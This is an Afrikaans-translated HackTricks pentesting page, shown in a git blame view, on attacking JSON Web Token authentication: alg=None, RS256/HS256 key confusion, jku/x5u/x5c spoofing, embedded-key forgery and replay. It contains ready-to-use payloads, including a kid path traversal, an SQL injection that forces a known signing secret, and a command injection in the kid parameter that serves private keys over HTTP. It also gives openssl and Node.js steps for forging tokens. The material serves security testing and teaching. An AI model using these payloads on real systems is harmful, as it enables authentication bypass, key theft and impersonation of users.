hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

273 lines
18 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# JWT Kwesbaarhede (Json Web Tokens)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
**'n Deel van hierdie pos is gebaseer op die wonderlike pos:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Outeur van die wonderlike instrument om JWT's te pentest** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
2024-02-11 02:07:06 +00:00
### **Vinnige Wenke**
Hardloop [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) met die modus `Alle Toetse!` en wag vir groen lyne
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
2024-02-11 02:07:06 +00:00
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Indien jy gelukkig is, sal die instrument 'n geval vind waar die webtoepassing die JWT verkeerd kontroleer:
![](<../.gitbook/assets/image (435).png>)
Daarna kan jy die versoek in jou proksi soek of die gebruikte JWT vir daardie versoek dump met jwt\_ tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
2024-02-11 02:07:06 +00:00
### Verander data sonder om iets te wysig
Jy kan net met die data mors sonder om die handtekening te verander en kyk of die bediener die handtekening nagaan. Probeer byvoorbeeld jou gebruikersnaam na "admin" verander.
2024-02-11 02:07:06 +00:00
#### **Word die token nagegaan?**
2024-02-11 02:07:06 +00:00
Om te kyk of 'n JWT se handtekening geverifieer word:
2024-02-05 02:28:59 +00:00
* 'n Foutboodskap dui op aanhoudende verifikasie; sensitiewe besonderhede in oordrewe foute moet nagegaan word.
* 'n Verandering in die teruggekeerde bladsy dui ook op verifikasie.
* Geen verandering dui op geen verifikasie nie; dit is wanneer jy moet eksperimenteer met die mors van payload-aansprake.
2024-02-05 02:28:59 +00:00
2024-02-11 02:07:06 +00:00
### Oorsprong
Dit is belangrik om vas te stel of die token serverkant of kliëntkant gegenereer is deur die geskiedenis van die proksi se versoek te ondersoek.
* Tokens wat eerste gesien word van die kliëntkant dui daarop dat die sleutel blootgestel kan word aan kliëntkant-kode, wat verdere ondersoek noodsaaklik maak.
* Tokens wat vanaf die bedienerkant ontstaan, dui op 'n veilige proses.
2024-02-11 02:07:06 +00:00
### Duur
Kyk of die token langer as 24 uur hou... dalk verval dit nooit nie. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.
2024-02-11 02:07:06 +00:00
### Brute-force HMAC-geheim
2024-02-11 02:07:06 +00:00
[**Sien hierdie bladsy.**](../generic-methodologies-and-resources/brute-force.md#jwt)
2024-02-11 02:07:06 +00:00
### Verander die algoritme na None (CVE-2015-9235)
2024-02-11 02:07:06 +00:00
Stel die gebruikte algoritme in as "None" en verwyder die handtekeninggedeelte.
Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te toets en verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token"-oortjie kan jy die waardes van die token wysig. Jy kan ook kies om die waarde van die "Alg"-veld na "None" te stel).
### Verander die algoritme RS256(asimmetries) na HS256(simetries) (CVE-2016-5431/CVE-2016-10555)
Die algoritme HS256 gebruik die geheime sleutel om elke boodskap te teken en te verifieer.\
Die algoritme RS256 gebruik die privaatsleutel om die boodskap te teken en gebruik die openbare sleutel vir verifikasie.
As jy die algoritme van RS256 na HS256 verander, gebruik die agterkant-kode die openbare sleutel as die geheime sleutel en gebruik dan die HS256-algoritme om die handtekening te verifieer.
Daarna, deur die openbare sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. Jy kan die sertifikaat van die webbediener ophaal deur dit uit te voer:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
2024-02-11 02:07:06 +00:00
### Nuwe openbare sleutel binne die kop
'n Aanvaller sluit 'n nuwe sleutel in die kop van die token in en die bediener gebruik hierdie nuwe sleutel om die handtekening te verifieer (CVE-2018-0114).
2024-02-11 02:07:06 +00:00
Dit kan gedoen word met die "JSON Web Tokens" Burp-uitbreiding.\
(Stuur die versoek na die Herhalingsluskontrole, kies "CVE-2018-0114" binne die JSON Web Token-tabblad en stuur die versoek).
2022-05-01 13:25:53 +00:00
### JWKS Spoofing
Die instruksies beskryf 'n metode om die veiligheid van JWT-tokens te assesseer, veral dié wat 'n "jku" kopclaim gebruik. Hierdie claim behoort te skakel na 'n JWKS (JSON Web Key Set) lêer wat die openbare sleutel bevat wat nodig is vir die token se verifikasie.
* **Assessering van Tokens met "jku" Kop**:
* Verifieer die URL van die "jku" claim om te verseker dat dit na die toepaslike JWKS-lêer lei.
* Wysig die "jku" waarde van die token om te verwys na 'n beheerde webdiens, wat verkeerswaarneming moontlik maak.
* **Monitering vir HTTP-interaksie**:
* Die waarneming van HTTP-versoeke na jou gespesifiseerde URL dui aan dat die bediener poog om sleutels van jou voorsiene skakel te haal.
* Wanneer jy `jwt_tool` vir hierdie proses gebruik, is dit noodsaaklik om die `jwtconf.ini` lêer met jou persoonlike JWKS-plek op te dateer om die toetsing te fasiliteer.
* **Opdrag vir `jwt_tool`**:
* Voer die volgende opdrag uit om die scenario met `jwt_tool` te simuleer:
2024-02-11 02:07:06 +00:00
```bash
python3 jwt_tool.py JWT_HIER -X s
```
2024-02-11 02:07:06 +00:00
### Kid Probleme Oorsig
'n Opsionele kopclaim genaamd `kid` word gebruik om 'n spesifieke sleutel te identifiseer, wat veral belangrik word in omgewings waar daar verskeie sleutels vir token-handtekeningverifikasie bestaan. Hierdie claim help om die toepaslike sleutel te kies om 'n token se handtekening te verifieer.
#### Blootstelling van Sleutel deur "kid"
Wanneer die `kid` claim teenwoordig is in die kop, word dit aanbeveel om die webgids te deursoek vir die ooreenstemmende lêer of sy variasies. Byvoorbeeld, as `"kid":"sleutel/12345"` gespesifiseer word, moet die lêers _/sleutel/12345_ en _/sleutel/12345.pem_ in die web-wortel gesoek word.
2024-02-05 02:28:59 +00:00
#### Padtraversie met "kid"
Die `kid` claim kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die keuse van 'n willekeurige lêer toelaat. Dit is moontlik om vir konnektiwiteit te toets of Server-Side Request Forgery (SSRF) aanvalle uit te voer deur die `kid` waarde te verander om spesifieke lêers of dienste te teiken. Die manipulasie van die JWT om die `kid` waarde te verander terwyl die oorspronklike handtekening behoue bly, kan bereik word deur die `-T` vlag in jwt\_tool te gebruik, soos hieronder gedemonstreer:
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Deur te mik op lêers met voorspelbare inhoud, is dit moontlik om 'n geldige JWT te vervals. Byvoorbeeld, die `/proc/sys/kernel/randomize_va_space` lêer in Linux-stelsels, wat bekend is om die waarde **2** te bevat, kan gebruik word in die `kid` parameter met **2** as die simmetriese wagwoord vir JWT-generering.
2020-12-03 10:09:49 +00:00
2024-02-11 02:07:06 +00:00
#### SQL-injeksie via "kid"
As die inhoud van die `kid` bewering gebruik word om 'n wagwoord uit 'n databasis te haal, kan 'n SQL-injeksie gefasiliteer word deur die `kid` payload te wysig. 'n Voorbeeld-payload wat SQL-injeksie gebruik om die JWT-ondertekeningsproses te wysig, sluit in:
`non-bestaande-indeks' UNION SELECT 'AANVALLER';-- -`
Hierdie wysiging dwing die gebruik van 'n bekende geheime sleutel, `AANVALLER`, vir JWT-ondertekening.
#### BS-injeksie deur "kid"
'N Scenario waar die `kid` parameter 'n lêerpad spesifiseer wat binne 'n opdraguitvoerkonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur opdragte in die `kid` parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeld-payload om RCE en sleutelblootstelling te bereik is:
2024-02-05 02:28:59 +00:00
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
2024-02-11 02:07:06 +00:00
### x5u en jku
2022-05-01 13:25:53 +00:00
#### jku
2024-02-11 02:07:06 +00:00
jku staan vir **JWK Set URL**.\
As die token 'n "**jku**" **Header** bewering gebruik, moet jy die verskafde URL ondersoek. Dit behoort te wys na 'n URL wat die JWKS-lêer bevat wat die Openbare Sleutel vir die verifikasie van die token bevat. Manipuleer die token om die jku-waarde na 'n webdiens te wys waar jy verkeer kan monitor.
Eerstens moet jy 'n nuwe sertifikaat skep met nuwe privaat- en openbare sleutels.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Dan kan jy byvoorbeeld [**jwt.io**](https://jwt.io) gebruik om die nuwe JWT te skep met die **geskepte openbare en private sleutels en deur die parameter jku na die geskepte sertifikaat te verwys.** Om 'n geldige jku-sertifikaat te skep, kan jy die oorspronklike een aflaai en die nodige parameters verander.
Jy kan die parameters "e" en "n" van 'n openbare sertifikaat kry deur:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL. 'n URI wat wys na 'n stel X.509 ( 'n sertifikaatformaatstandaard) openbare sertifikate wat in PEM-vorm gekodeer is. Die eerste sertifikaat in die stel moet die een wees wat gebruik is om hierdie JWT te teken. Die opeenvolgende sertifikate teken elkeen die vorige een, wat dus die sertifikaatketting voltooi. X.509 is gedefinieer in RFC 52807. Vervoersekuriteit is nodig om die sertifikate oor te dra.
Probeer **hierdie kopnaam na 'n URL onder jou beheer verander** en kyk of enige versoek ontvang word. In daardie geval **kan jy die JWT vervals**.
2024-02-11 02:07:06 +00:00
Om 'n nuwe token te vervals met behulp van 'n sertifikaat wat deur jou beheer word, moet jy die sertifikaat skep en die openbare en private sleutels onttrek:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Dan kan jy byvoorbeeld [**jwt.io**](https://jwt.io) gebruik om die nuwe JWT te skep met die **geskepte openbare en private sleutels en deur die parameter x5u na die sertifikaat .crt te verwys wat geskep is.**
![](<../.gitbook/assets/image (439).png>)
Jy kan ook beide van hierdie kwesbaarhede misbruik **vir SSRFs**.
2022-05-01 13:25:53 +00:00
#### x5c
2024-02-11 02:07:06 +00:00
Hierdie parameter kan die **sertifikaat in base64** bevat:
![](<../.gitbook/assets/image (440).png>)
As die aanvaller **'n self-ondertekende sertifikaat genereer** en 'n vervalsde token skep met die ooreenstemmende private sleutel en die "x5c" parameter se waarde vervang met die nuut gegenereerde sertifikaat en die ander parameters wysig, naamlik n, e en x5t, sal die vervalsde token essensieel deur die bediener aanvaar word.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
2024-02-11 02:07:06 +00:00
### Ingeslote Openbare Sleutel (CVE-2018-0114)
Indien die JWT 'n ingeslote openbare sleutel het soos in die volgende scenario:
![](<../.gitbook/assets/image (438).png>)
Deur die volgende nodejs-skrip te gebruik, is dit moontlik om 'n openbare sleutel van daardie data te genereer:
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
2024-02-11 02:07:06 +00:00
Dit is moontlik om 'n nuwe privaat/publieke sleutel te genereer, die nuwe publieke sleutel binne die token in te sluit en dit te gebruik om 'n nuwe handtekening te genereer:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Jy kan die "n" en "e" verkry deur hierdie Node.js skripsie te gebruik:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Uiteindelik, deur die openbare en private sleutel en die nuwe "n" en "e" waardes te gebruik, kan jy [jwt.io](https://jwt.io) gebruik om 'n nuwe geldige JWT met enige inligting te vervals.
2022-05-01 13:25:53 +00:00
### JTI (JWT ID)
Die JTI (JWT ID) eis voorsien 'n unieke identifiseerder vir 'n JWT-token. Dit kan gebruik word om te voorkom dat die token herhaal word.\
Stel jou voor 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. As die agterkant die ID verhoog met elke versoek, kan jy dit misbruik om 'n versoek te **herhaal** (jy moet 10000 versoek stuur tussen elke suksesvolle herhaling).
2024-02-11 02:07:06 +00:00
### JWT Geregistreerde eise
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
2024-02-11 02:07:06 +00:00
### Ander aanvalle
2024-02-05 02:28:59 +00:00
**Kruisdiens Relaai Aanvalle**
2024-02-05 02:28:59 +00:00
Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generering en bestuur van hul tokens. Gevalle is aangeteken waar 'n token, gegenereer vir een klient deur die JWT-diens, aanvaar is deur 'n ander klient van dieselfde JWT-diens. As die uitreiking of hernuwing van 'n JWT via 'n derdepartydiens waargeneem word, moet die moontlikheid om vir 'n rekening aan te meld op 'n ander klient van daardie diens met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkryde token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.
2024-02-05 02:28:59 +00:00
* 'n Kritieke kwessie kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening kan toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing nodig kan wees as om aan te meld by 'n derdepartytoepassing, aangesien dit 'n regsgrys gebied kan betree.
2024-02-05 02:28:59 +00:00
**Vervaldatum Kontrole van Tokens**
2024-02-05 02:28:59 +00:00
Die token se verval word nagegaan deur die "exp" Lading eis. Gegewe dat JWTs dikwels sonder sessie-inligting gebruik word, is sorgvuldige hantering nodig. In baie gevalle kan die vaslegging en herhaal van 'n ander gebruiker se JWT die persoonifikasie van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT-herhaalaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaltyd vir die token in te stel. Verder is die implementering van relevante kontroles deur die aansoek om die verwerking van hierdie waarde te verseker en die afwysing van verstreke tokens wat verval het, noodsaaklik. As die token 'n "exp" eis insluit en toetstydperke dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaltyd te herhaal. Die inhoud van die token, insluitend tydstempelontleding en vervaltoetsing (tydstempel in UTC), kan gelees word deur die jwt_tool se -R vlag te gebruik.
2024-02-05 02:28:59 +00:00
* 'n Sekuriteitsrisiko kan teenwoordig wees as die aansoek steeds die token valideer, aangesien dit kan impliseer dat die token nooit kan verval nie.
2024-02-05 02:28:59 +00:00
2024-02-11 02:07:06 +00:00
### Gereedskap
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiend Pools geskrewe en gesproke vereis_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>